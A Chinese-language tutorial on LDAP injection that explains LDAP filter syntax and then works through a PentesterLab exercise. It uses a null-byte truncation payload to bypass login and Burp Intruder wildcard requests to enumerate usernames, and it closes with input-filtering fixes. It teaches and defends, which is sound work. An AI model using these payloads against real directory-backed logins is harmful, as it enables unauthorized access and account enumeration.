网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

LDAP基本语法

  • =(等于)

查找“名“属性为“John”的所有对象,可以使用:

(givenName=John)

这会返回“名”属性为“John”的所有对象。圆括号是必需的,以便强调LDAP 语句的开始和结束。

  • &(逻辑与)

如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在Dallas 并且“名”为“John”的所有人员,可以使用:

(&(givenName=John)(l=Dallas))

请注意,每个参数都被属于其自己的圆括号括起来。整个LDAP 语句必须包括在一对主圆括号中。操作符& 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

  • !(逻辑非)

此操作符用来排除具有特定属性的对象。假定您需要查找“名”为“John”的对象以外的所有对象。则应使用如下语句:

!givenName=John)

此语句将查找“名”不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明

  • *(通配符)

可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:

(title=*)

这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:

(givenName=Jo*)

这会返回“名”以“Jo”开头的所有对象。

  • 高级用法eg:

您需要一个筛选条件,用来查找居住在Dallas 或Austin,并且名为“John”的所有对象。使用的语法应当是:

(&(givenName=John)(|(l=Dallas)(l=Austin)))

三、Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab ,文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单

最终平台的效果:

网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

四、Ldap 注入实例

4.1 正常请求和返回包分析

我们先来看一下Ldap 下面的exampl2 学习实例,进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了

看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker

GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1

Host: 192.168.3.146

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Connection: close

Upgrade-Insecure-Requests: 1

请求返回包的截图如下:

网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

从上图【AUTHENTICATED as hacker】可以看出,证明服务器已经认证此用户

通过前面的ldap过滤器基础,可以来推断服务器端ldap 执行的查询语句中用道的过滤器如下:

(&(name=hacker)(passwd=hacker))

其中& 为and 操作,我们可以控制的变量范围为name=hacker&password=hacker

4.2 构造测试语句

构造攻击语句

name=h*))%00(&password=hacker

web服务器提交给ldap的查询语句就会变成如下

(&(name=hacker))%00(passwd=hacker))

其中%00是截断符,这样ldap服务器执行的时候,就会忽略掉%00后面的部分,就相当于服务器执行了

(&(name=hacker))

选择器(&(name=hacker))永远为真,使用burpsuite 截获的返回包截图如下:

网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

从上图【AUTHENTICATED as hacker】可以看出,认证查询查询结果仍然是正确的

4.3 利用通配符*遍历全部用户

攻击payload

(&(name=h*))%00(passwd=hacker))

* 为通配符,代表是以h为开头的所有用户,因此我们可以a -z 进行替换现在的【h】,根据返回的结果,查看认证成功返回的用户名称,进而获得所有用户的账户信息。

下面我们使用burpsuite进行批量提交请求,实现爆破遍历。具体截图如下:

step1: 发送到intruder

网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

step2:增加变量,具体见截图

网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

step3,增加变量字典

网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

step4 开始遍历

一共跑出来两个用户,admin 和hacker 具体截图如下:

网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范

五、修复建议

  1. 客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。
  2. 圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。
  3. 无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核对

参考文章连接:

https://www.cnblogs.com/bendawang/p/5156562.html

http:// www.secevery.com:4321/drops/tips-967.html


分享到:


相關文章: